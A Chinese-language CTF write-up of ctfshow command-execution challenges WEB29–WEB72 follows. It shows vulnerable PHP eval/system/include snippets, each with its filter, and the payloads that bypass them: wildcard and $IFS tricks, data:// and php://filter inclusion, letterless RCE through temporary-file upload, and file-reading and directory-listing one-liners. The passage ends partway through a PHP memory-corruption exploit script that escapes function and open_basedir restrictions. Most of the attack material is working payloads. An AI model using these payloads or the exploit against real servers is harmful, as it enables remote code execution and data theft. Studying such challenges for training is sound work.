CTFSHOW-命令执行

WEB29

题目:

<?php

error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

分析:题目过滤了flag且忽略大小写

知识点:linux通配符

*	匹配任何字符串/文本,包括空字符串;*代表任意字符(0个或多个) ls file *
?	匹配任何一个字符(不在括号内时)?代表任意1个字符 ls file 0
[abcd]	匹配abcd中任何一个字符
[a-z]	表示范围a到z,表示范围的意思 []匹配中括号中任意一个字符 ls file 0
[!abcd]	或[^abcd] 表示不匹配括号里面的任何一个字符

方法1:

payload:?c=system('cat f*');

但是这里会返回一个空页面,因为PHP是服务器端解释的语言,在浏览网页的时候服务器会对php文件进行解释并执行,最终生成相应的HTML代码并返回给浏览器,所以网页是显示不出PHP代码。没关系,我们查看源代码就行。或者用tac

方法2:

payload:?c=system("cp fla?.php 1.txt");
或者
payload:?c=system(“cat *php >> 1.txt”);

然后再去访问1.txt

WEB30

题目:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

分析:过滤了flag,system,php且不区分大小写

知识点:反引号可以替代system,执行系统命令

当调用system命令的时候,系统会将执行结果输出到屏幕,并且将执行结果返回值(0或者非0)传给变量 ;

然而反引号(``)不会输出任何结果,所以我们得用echo输出。

方法:

payload:?c= echo `tac fl'ag'.p'hp'`;

逻辑是: get传入echo `tac fla'g'.p'hp'`;字符串给变量$c,那么eval($c)就等于eval(echo `tac fl'ag'.p'hp'`;)   这样就能正常执行php代码了。

linux中文件名可以穿插单双引号,但得成对出现。解析的时候会被去掉。

WEB31

题目:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

分析:重点是过滤了点、单引号、空格

知识点:linux空格过滤

换行符造成函数无效例如system();   这样是无效的。反引号里面直接不能使用换行键那些,

方法1:

payload:?c=echo%09`tac%09f*`;

在linux 空格可以用以下字符串代替:

%09(tab)、$IFS$9(9可以换成1-9中间的数字,$0是返回当前的shell类型,所以不能用)、 ${IFS}、< 、<>、%20(space)等
//<>需要写的权限

在使用``或者system这些命令,带有$的内容替换时,要注意转义(加上\),因为$在php中有特殊含义

跟cat作用差不多的命令:
cat、tac、more、less、head、tail、nl、sed、sort、uniq、rev

 为什么用$IFS不行,因为用 $IFS的话,会认为解析没结束,会把后面的也当做参数解析,而 $IFS$9的话,结束了 $IFS 后加上了一个不存在或者说空字符串的变量。所以解析为空,但结束了 $IFS,正常执行后面的内容

方法2:

嵌套执行

payload:?c=eval($_GET[1]);&1=system("tac flag.php");

记录一个骚姿势:

首先print_r(scandir(dirname(__FILE__)));查看当前目录下文件
然后找到flag.php
print_r(next(array_reverse(scandir(dirname(__FILE__)))));
之后高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

WEB32-WEB35

题目:

<?php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
        eval($c);
    }
    
}else{
    highlight_file(__FILE__);
}

分析:相对于上一题,过滤了分号,反引号,echo,和左括号

知识点:伪协议

eval中结尾可以用?>代替;
code
需要被执行的字符串

代码不能包含打开/关闭 PHP tags。比如, 'echo "Hi!";' 不能这样传入: '<?php echo "Hi!"; ?>'。但仍然可以用合适的 PHP tag 来离开、重新进入 PHP 模式。比如 'echo "In PHP mode!"; ?>In HTML mode!<?php echo "Back in PHP mode!";'。

除此之外,传入的必须是有效的 PHP 代码。所有的语句必须以分号结尾。比如 'echo "Hi!"' 会导致一个 parse error,而 'echo "Hi!";' 则会正常运行。

return 语句会立即中止当前字符串的执行。

代码执行的作用域是调用 eval() 处的作用域。因此,eval() 里任何的变量定义、修改,都会在函数结束后被保留

方法:因为只对c进行匹配,那么我们可以逃逸get[]里面的东西,因为不能有;所以用?>代替。

payload:?c=include%0A$_GET[1]?>&1=flag.php
以下四个可以互换:
include 
require 
include_once 
require_once 

这样只是把flag.php这个文件包含进去了,并不会有回显。

用伪协议:

payload:?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

最后把得到的字符进行base64解码即可得到flag。

意思是:通过一个过滤器,用base64编码来获取资源。(通过一个指定的通道(filter)来获取资源)

WEB36

不能使用数字,把数字换成字母

WEB37

题目:

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
}

分析:题目说了flag在flag.php里面,所以要通过echo输出,就得包含flag文件,但是不能想上几题一样用base64编码,这样会找不到flag变量,但是因为过滤了flag所以包含文件flag.php来输出flag变量行不通。

知识点:data协议,data:// 可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行 

方法:用data协议

payload:?c=data://text/plain,<?php system('tac fl*');?>
payload:?c=data://text/plain,%3C%3Fphp%20eval(%24_POST%5B1%5D)%3B%3F%3E
后面经过url编码
payload:?c=data://text/plain;base64,PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+

base64后面是经过base64编码的要执行的php代码。这里因为有+号,然后因为是url传参,+会被当作空格处理

 解决方法:

1:post[]里面用两位数以上就不会有+号

2:不写后面的?> 因为PHP里面其实不需要写后面的 前面的;号就已经说明结束了。如果没有;号就必须写?>作为结束。

3:将+号换成%2b

4:在php语句后面增加空格

WEB38

题目:

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag|php|file/i", $c)){
        include($c);
        echo $flag;
    
    }
        
}else{
    highlight_file(__FILE__);
} 

 分析:过滤了php

方法1:同上一题

方法2:短标签

payload:?c=data://text/plain,<?= system("tac fla?.???");?>

 WEB39

题目:

<?php
//flag in flag.php
error_reporting(0);
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/flag/i", $c)){
        include($c.".php");
    }
        
}else{
    highlight_file(__FILE__);
}

分析:没有了echo回显,且在$c后面增加了一个.php 后缀,原本是想要伪协议php://filter/convert.base64-encode/resource=flag,这样就能和后缀链接起来包含flag.php,但是因为过滤了flag,所以用data协议。

方法:其实这个后缀没有什么影响

这个后缀是相当于include(data://text/plain,<?=phpinfo();?>.php),因为前面的php语句已经闭合了,所以后面的.php会被当成html页面直接显示在页面上,起不到什么 作用。最后因为<>里面返回值为1,所以最后为1.php。 

payload:?c=data://text/plain,<?php system('tac f*');?>

WEB40

题目:

<?php
if(isset($_GET['c'])){
    $c = $_GET['c'];
    if(!preg_match("/[0-9]|\~|\`|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\=|\+|\{|\[|\]|\}|\:|\'|\"|\,|\<|\.|\>|\/|\?|\\\\/i", $c)){
        eval($c);
    }
        
}else{
    highlight_file(__FILE__);
}

分析:过滤的是中文的括号不是英文的、过滤了单双引号、过滤了数字;因为大致看看,能用的是英文的括号和字母还有下划线。而命令执行大多数需要单双引号来传参数,所以就想到了无参RCE

知识点:

无参RCE

方法1:

payload:?c=show_source(next(array_reverse(scandir(pos(localeconv())))));

localeconv():返回一包含本地数字及货币格式信息的数组。其中数组中的第一个为点号(.)

current() :返回数组中的当前元素的值;默认取第一个值

pos():current() 的别名

reset() 将 array 的内部指针倒回到第一个单元并返回第一个数组单元的值。

array_reverse():数组逆序

(如果不是数组的最后一个或者倒数第二个呢?我们可以使用array_rand(array_flip()),array_flip()是交换数组的键和值,array_rand()是随机返回一个数组)

scandir():列出指定路径中的文件和目录

next():函数将内部指针向前移动一位即指向数组中的下一个元素,并输出这个元素。

方法2:

查看当前目录下文件
?c=print_r(scandir(dirname(__FILE__)));
找到flag.php
?c=print_r(next(array_reverse(scandir(dirname(__FILE__)))));
高亮显示即可
c=highlight_file(next(array_reverse(scandir(dirname(__FILE__)))));

知识点:

dirname()--返回路径中的目录部分;返回 path 的父目录。或者如果在 path 中没有斜线,则返回一个点('.'),表示当前目录。否则返回的是把 path 中结尾的 /component(最后一个斜线以及后面部分)去掉之后的字符串。

__FILE__

echo __FILE__ ; // 取得当前文件的绝对地址,结果:D:\www\test.php 

其他骚姿势:

无参数读文件和RCE总结 - FreeBuf网络安全行业门户(强烈推荐)

WEB41

<?php
if(isset($_POST['c'])){
    $c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
        eval("echo($c);");
    }
}else{
    highlight_file(__FILE__);
}
?>

分析:过滤了字母和数字,过滤了$、+、-、^、~使得异或自增和取反构造字符都无法使用,但留了一个或运算符|,所以我们可以用无字母数字带有|的RCE

参考链接:

ctfshow web入门 web41_羽的博客-CSDN博客

无字母数字webshell之提高篇 | 离别歌

一些不包含数字和字母的webshell | 离别歌

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_羽的博客-CSDN博客      (力荐)

CTFshow-web入门-命令执行_哔哩哔哩_bilibili

WEB42

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    system($c." >/dev/null 2>&1");
}else{
    highlight_file(__FILE__);
}

分析:

 system($c." >/dev/null 2>&1");

这个语句使得输出结果,输出到黑洞里面去了;2代表错误输出,1代表标准输出,2>&1表示把错误输出 等同于(输出到)标准输出,也就是说错误输出和命令执行的结果都输出到黑洞里面去了。

知识点:命令分隔,url中的特殊字符

;  前面和后面命令都要执行,无论前面真假

|  直接执行后面的语句

||  如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

&  前面和后面命令都要执行,无论前面真假

&&  如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

get传参,使用&&需要使用url编码

%0a      回车符

方法:使用命令分隔,执行多条命令或者把后面输出到黑洞里面的命令给截断。

payload:tac f*;
payload:tac f*%26
payload:tac f*||

注意:在使用&的时候,因为&在url传参中有特殊含义所以需要用url编码。

参考链接:

url中的特殊字符

Shell脚本———— /dev/null 2>&1详解

WEB43

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:相对于上一题过滤了cat和;用其他的方法即可。

WEB44

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/;|cat|flag/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:相对于上一题过滤了flag,使用绕过或者因为用的system所以可以使用通配符。

payload:?c=tac f''l""ag.php%0a

WEB45

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| /i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:相对于上一题过滤了空格

知识点:空格绕过,php环境下可以用%09代替空格

方法:

payload:?c=tac$IFS$9f*||
payload:?c=tac<fl'ag'.php||
payload:?c=tac${IFS}f*||
payload:?c=tac<>fl'ag'.php||
payload:?c=tac%09f*||

注意:< 或<>与通配符一起使用时没有回显,使用不能同时使用。

WEB46

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:多过滤数字、\$、*

方法:

payload:?c=tac%09fl''ag.php||
payload:?c=tac%09fl\ag.php||
payload:?c=tac%09fl``ag.php||

这里虽然有%09,有数字,但因为%09是一个字符,属于编码,在带入服务器时会进行解码,解码之后并不是数字,所以并没有被过滤。

WEB47

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:相对于上一题针对cat多过滤了一些

知识点:与cat作用类似的命令

payload:?c=tac%09fla?.php||

WEB48

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}
payload:?c=tac%09fla?.php||

WEB49

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:多过滤了一个%,但是没有什么用,因为%09是一个字符,属于编码,在带入服务器时会进行解码,解码之后并没有含有%,所以并没有被过滤。

方法:

payload:?c=tac<>fla\g.php||
payload:?c=tac<fla\g.php||
payload:?c=tac%09fla?.php||

WEB50

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:不能使用%09和%26(&)了,

方法:

payload:?c=tac<>fla\g.php||

WEB51

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:过滤了tac

方法:使用其他同nl类似的命令

payload:?c=nl<fla\g.php||
然后查看网页源代码。

字符串拼接
payload:?c=t''a""c<>fl\ag.php||

WEB52

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c." >/dev/null 2>&1");
    }
}else{
    highlight_file(__FILE__);
}

分析:过滤了>和<但是没有过滤$所以可以用${IFS}作为空格绕过

知识点:Shell 脚本中有个变量叫IFS(Internal Field Seprator) ,内部域分隔符。

IFS 是一种 set 变量,当 shell 处理"命令替换"和"参数替换"时,shell 根据 IFS 的值,默认是 space, tab, newline 即空格,制表符,空行来拆解读入的变量,然后对特殊字符进行处理,最后重新组合赋值给该变量。 

方法:

payload:?c=ta\c${IFS}/fl\ag||

注意:flag位置变了

WEB53

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){
        echo($c);
        $d = system($c);
        echo "<br>".$d;
    }else{
        echo 'no';
    }
}else{
    highlight_file(__FILE__);
}

分析:先是把命令进行显示,然后执行这个命令之后的最后一行输出给变量d,最后输出变量d的内容。

知识点:system的返回值

方法:

payload:?c=ta$@c${IFS}fla\g.php
$@是空字符

system返回值,是返回命令输出的最后一行,错误就返回false

但是这道题,system命令执行之后的返回值返回给了变量d,最后echo的时候是echo了flag.php文件内容的最后一行,也就是

$flag="ctfshow{45a1fbcf-d48d-4c28-a073-77c07369d0f8}";

但是system自带回显,所以在执行system命令的时候就已经输出了flag.php的全部内容

 查看源代码:

 本地测试:

<?php
$a=system('ls');
echo '</br>';
echo $a;
?>

 查看源代码:

WEB54

题目:

<?php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

分析:传入的字符串中不能包含正则里面的东西

知识点:正则匹配.*的作用 、/bin文件下的相关命令

*匹配前面的子表达式零次或多次。要匹配 * 字符,请使用 \*。
.匹配除换行符 \n 之外的任何单字符。要匹配 . ,请使用 \. 。

.*加起来的作用就是匹配除换行符 \n 之外的任何单字符零次或多次。

2、paste。

paste 指令会把每个文件以列对列的方式,一列列地加以合并。

实例

使用paste指令将文件"file"、"testfile"、"testfile1"进行合并,输入如下命令:

paste file testfile testfile1 #合并指定文件的内容

但是,在执行以上命令之前,首先使用"cat"指令对3个文件内容进行查看,显示如下所示:

$ cat file                  #file文件的内容  
xiongdan 200  
lihaihui 233  
lymlrl 231  
$ cat testfile              #testfile文件的内容  
liangyuanm  ss  
$ cat testfile1             #testfile1文件的内容  
huanggai 56  
zhixi 73

当合并指令"$ paste file testfile testfile1"执行后,程序界面中将显示合并后的文件内容,如下所示:

xiongdan 200  
lihaihui 233  
lymlrl 231  
liangyuanm  ss  
huanggai 56  
zhixi 73  

3、grep

Linux grep 命令用于查找文件里符合条件的字符串。

grep 指令用于查找内容包含指定的范本样式的文件,如果发现某文件的内容符合所指定的范本样式,预设 grep 指令会把含有范本样式的那一列显示出来。若不指定任何文件名称,或是所给予的文件名为 -,则 grep 指令会从标准输入设备读取数据。

实例

1、在当前目录中,查找后缀有 file 字样的文件中包含 test 字符串的文件,并打印出该字符串的行。此时,可以使用如下命令:

grep test *file 

结果如下所示:

$ grep test test* #查找前缀有“test”的文件包含“test”字符串的文件  
testfile1:This a Linux testfile! #列出testfile1 文件中包含test字符的行  
testfile_2:This is a linux testfile! #列出testfile_2 文件中包含test字符的行  
testfile_2:Linux test #列出testfile_2 文件中包含test字符的行 

4、uniq

Linux uniq 命令用于检查及删除文本文件中重复出现的行列,一般与 sort 命令结合使用。

uniq 可检查文本文件中重复出现的行列。

实例

文件testfile中第 2、3、5、6、7、9行为相同的行,使用 uniq 命令删除重复的行,可使用以下命令:

uniq testfile 

testfile中的原有内容为:

$ cat testfile      #原有内容  
test 30  
test 30  
test 30  
Hello 95  
Hello 95  
Hello 95  
Hello 95  
Linux 85  
Linux 85 

使用uniq 命令删除重复的行后,有如下输出结果:

$ uniq testfile     #删除重复行后的内容  
test 30  
Hello 95  
Linux 85 

方法:

payload:?c=uniq${IFS}fl??.php
这个不行是因为组成了nl,可以使用?c=uniq${IFS}????.???
payload:?c=grep${IFS}'{'${IFS}fl???php
意思为在 fl???php匹配到的文件中,查找含有{的文件,并打印出包含 { 的这一行
payload:?c=paste${IFS}fl?g.php   然后查看源代码
payload:?c=/bin/base??${IFS}????????    然后base64解码
payload:?c=/bin/ca?${IFS}????????       然后查看源代码

方法:使用cp命令 

WEB55

题目:

<?php

if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){
        system($c);
    }
}else{
    highlight_file(__FILE__);
}

分析:主要过滤了字母

方法1:

查看源代码发现没有过滤数字,我们就想一想在我们查看文件的命令有没有数字开头的。

匹配到/bin目录下的命令

cat、cp、chmod df、dmesg、gzip、kill、ls、mkdir、more、mount、rm、su、tar、base64等

发现存在一个base64,我们就可以通过通配符进行匹配命令执行查看flag.php

这个不是通用的,因为base64不是每个机器都有

payload:?c=/???/????64 ????.???   然后base64解码

方法2:

我们可以利用/usr/bin下的bzip2,bzip2是linux下面的压缩文件的命令

payload:?c=/???/???/????2 ????.???
也就是/usr/bin/bzip2 flag.php
然后访问/flag.php.bz2进行下载获得flag.php

方法3:无字母rce

知识点:无字母数字webshell之提高篇

.(点)的用法,就是相当于source 可以执行sh命令linux下的.使用

无字母数字的命令执行(ctfshow web入门 55)_Firebasky的博客-CSDN博客  

一些不包含数字和字母的webshell

eval()为什么有时候需要闭合,看文章后面

方法3详解请看知识点提高篇和b站解析。

先构造一个上传文件的脚本

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>POST数据包POC</title>
</head>
<body>
<form action="http://76ce0edb-66ef-425a-832f-81a93fbca112.chall.ctf.show/" method="post" enctype="multipart/form-data">
<!--需要把url改成当前题目的链接-->
    <label for="file">文件名:</label>
    <input type="file" name="file" id="file"><br>
    <input type="submit" name="submit" value="提交">
</form>
</body>
</html>

上传文件并抓取数据

这个a.txt里面的内容为a,所以我们可以修改a为我们的命令。

c参数传进去需要和HTTP之间有个空格。

每次上传的文件不一定有大写的文件名,需要多上传几次

web56

因为过滤掉了数字,所以web55前两个方法都不行了。

还是用上传文件的方法。

WEB57

题目:

<?php

// 还能炫的动吗?
//flag in 36.php
if(isset($_GET['c'])){
    $c=$_GET['c'];
    if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){
        system("cat ".$c.".php");
    }
}else{
    highlight_file(__FILE__);
}

分析:

相对于上一题,题目过滤了通配符和.

那么我们就得换一条思路,题目提示flag in 36.php,而system()里面有cat 和".php" 所以我们只要把36传给变量c就行了。

如何得到36?

知识点:

1、双小括号:(())

双小括号 (( )) 是 Bash Shell 中专门用来进行整数运算的命令,它的效率很高,写法灵活,是企业运维中常用的运算命令。 通俗地讲,就是将数学运算表达式放在((和))之间。 表达式可以只有一个,也可以有多个,多个表达式之间以逗号,分隔。对于多个表达式的情况,以最后一个表达式的值作为整个 (( ))命令的执行结果。 可以使用$获取 (( )) 命令的结果,这和使用$获得变量值是类似的。 可以在 (( )) 前面加上$符号获取 (( )) 命令的执行结果,即获取整个表达式的值。以 c=$((a+b)) 为例,即将 a+b 这个表达式的运算结果赋值给变量 c。 注意,类似 c=((a+b)) 这样的写法是错误的,不加$就不能取得表达式的结果。

还要知道$(())的值是0

2、取反:

如果b=~a,那么a+b=-1。可以用二进制验算 

3、echo ${_} #返回上一次的执行结果

方法:

$((-37))=36     

echo $((~$(()))) #~0是-1

$((  $((   ~$(())    ))   $((   ~$(())    ))     )) #即$((-1-1))即$((-2))也就是=-2,那么就可以用

37个$ ( ( ~ $ ( ( ) ) ) )来构造-37最后再取反就是36了。

WEB58

题目:

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

 分析:post传参、(这道题禁用了很多函数,并且我们不知道禁用了哪些,所以只有一个个试)

方法:

//通过单一函数读取文件
c=highlight_file("flag.php");
c=echo file_get_contents("flag.php");  查看源代码
c=readfile("flag.php");   查看源代码

c=var_dump(file('flag.php'));
c=print_r(file('flag.php'));
//这里做一个解释`file — 把整个文件读入一个数组中

c=show_source('flag.php');

无参数读文件
c=highlight_file(next(array_reverse(scandir(pos(localeconv())))));
或者用scandir(dirname('__FILE__'))或者直接scandir('.')
只能使用一次next。


//使用fopen()
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgets($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line = fgetc($a);echo $line;}
c=$a=fopen("flag.php","r");while (!feof($a)) {$line =fgetcsv($a);print_r($line);}
c=$a=fopen("flag.php","r");echo fread($a,"1000");
c=$a=fopen("flag.php","r");echo fpassthru($a);

echo和print_r()可以互换。

WEB59

题目:

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

方法:

骚姿势:
post:c=include([$GET[1]);
get:1=php://filter/convert.base64-encode/resource=flag.php

WEB60

题目:

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

方法:

骚姿势:
//通过复制,重命名读取php文件内容(函数执行后,访问url/flag.txt)
copy()
rename()
//用法:
c=copy("flag.php","flag.txt");         //然后再访问flag.txt   
c=rename("flag.php","flag.txt");       //然后再访问flag.txt   

WEB61

题目:

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

方法:

payload:c=include('flag.php');echo $flag;

//这里是知道了这个flag.php里面有flag变量。

WEB62

题目:

<?php
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

方法:

payload:c=include("flag.php");var_dump(get_defined_vars());

//get_defined_vars()
此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

WEB63-WEB65

题目一样,用前面没有过滤的方法

WEB66

题目:

<?php

// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
}else{
    highlight_file(__FILE__);
}

方法:

先用c=highlight_file("flag.php");    发现提示说flag在这里。

那就先扫描目录下的内容。

使用c=print_r(scandir("../../../")); 或者c=var_dump(scandir("../../../"));

依次使用../扫描上级目录

发现flag在../../../flag.txt

然后使用c=highlight_file("../../../flag.txt");

WEB67

相对于web66 屏蔽了print_r()函数,,使用var_dump();

WEB68-WEB70

分析:题目显示highlight_file()被ban了,很多函数都被ban了,但是文件包含函数没有ban,所以就可以使用文件包含。

方法:

先扫描目录,找到flag文件。

记录几个扫目录的payload:
ban了var_dump和print_r、用遍历来输出数组的内容。

c=$a=opendir('/');while(($file = readdir($a)) !=false){echo $file." ";}

c=$a=scandir("/");foreach($a as $value){echo $value."   ";}

c=$a=glob("/*");foreach($a as $value){echo $value."   ";}

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

c=var_export(scandir('/'));

然后因为txt文件可以直接包含(没有php标签,可以作为html直接输出)

而php文件可以用base64编码或者查看源代码

c=include('php://filter/read=convert.base64-encode/resource=/flag.txt')?>

c=include('/flag.txt');
c=include_once('flag.txt');
c=require('/flag.txt');
c=require_once('/flag.txt');

WEB71

题目:

<?php

error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

分析:

ob_get_contents();  //此函数返回输出缓冲区的内容,或者如果输出缓冲区无效将返回falseob_end_clean();      //清空(擦除)缓冲区并关闭输出缓冲。

y4师傅的一个实验
<?php
$a = 'system("ls");';
eval($a);
//在网页中会输出内容

<?php
$a = 'system("ls");';
eval($a);
ob_get_contents();
ob_end_clean();
//不会在网页中输出内容,因为清除并关闭了输出缓冲区,所以没有输出东西

<?php
$a = 'system("ls");';
eval($a);
$c = ob_get_contents();
ob_end_clean();
echo $c;
//会在网页中输出内容,因为相对于第二个实验,最后使用变量c获得的清除输出缓冲区之前缓冲区中的数据,然后虽然关闭了输出缓冲区,但是我们使用了echo,那么仍然输出了内容。

并且后面会将得到缓冲区数据的变量$s里面的数字字母全部替换为问号。所以我们可以使用exit()/die()提前结束让if语句里eval($c);之后的代码不执行直接退出

payload:
c=var_export(scandir('/'));die();
c=include('/flag.txt');exit(0);

WEB72

题目:

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
        $c= $_POST['c'];
        eval($c);
        $s = ob_get_contents();
        ob_end_clean();
        echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
    highlight_file(__FILE__);
}

?>

你要上天吗?

分析:当我们使用scandir扫描目录的时候会有一个提示open_basedir 

知识点:

open_basedir是php.ini中的一个配置选项

它可将用户访问文件的活动范围限制在指定的区域,限制了你的读取目录

假设open_basedir=/home/wwwroot/home/web1/:/tmp/,那么通过web1访问服务器的用户就无法获取服务器上除了/home/wwwroot/home/web1/和/tmp/这两个目录以外的文件。

注意用open_basedir指定的限制实际上是前缀,而不是目录名。

举例来说: 若"open_basedir = /dir/user", 那么目录 "/dir/user" 和 "/dir/user1"都是可以访问的。所以如果要将访问限制在仅为指定的目录,请用斜线结束路径名。

方法:

利用glob伪协议在筛选目录时不受open_basedir制约:

payload:c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo $f."    " ;};exit();

然后使用脚本来读取flag文件

脚本:

?><?php
pwn("cat /flag0.txt");
function pwn($cmd) {
    global $abc, $helper, $backtrace;
    class Vuln {
        public $a;
        public function __destruct() { 
            global $backtrace; 
            unset($this->a);
            $backtrace = (new Exception)->getTrace(); # ;)
            if(!isset($backtrace[1]['args'])) { # PHP >= 7.4
                $backtrace = debug_backtrace();
            }
        }
    }
    class Helper {
        public $a, $b, $c, $d;
    }
    function str2ptr(&$str, $p = 0, $s = 8) {
        $address = 0;
        for($j = $s-1; $j >= 0; $j--) {
            $address <<= 8;
            $address |= ord($str[$p+$j]);
        }
        return $address;
    }
    function ptr2str($ptr, $m = 8) {
        $out = "";
        for ($i=0; $i < $m; $i++) {
            $out .= sprintf("%c",($ptr & 0xff));
            $ptr >>= 8;
        }
        return $out;
    }
    function write(&$str, $p, $v, $n = 8) {
        $i = 0;
        for($i = 0; $i < $n; $i++) {
            $str[$p + $i] = sprintf("%c",($v & 0xff));
            $v >>= 8;
        }
    }
    function leak($addr, $p = 0, $s = 8) {
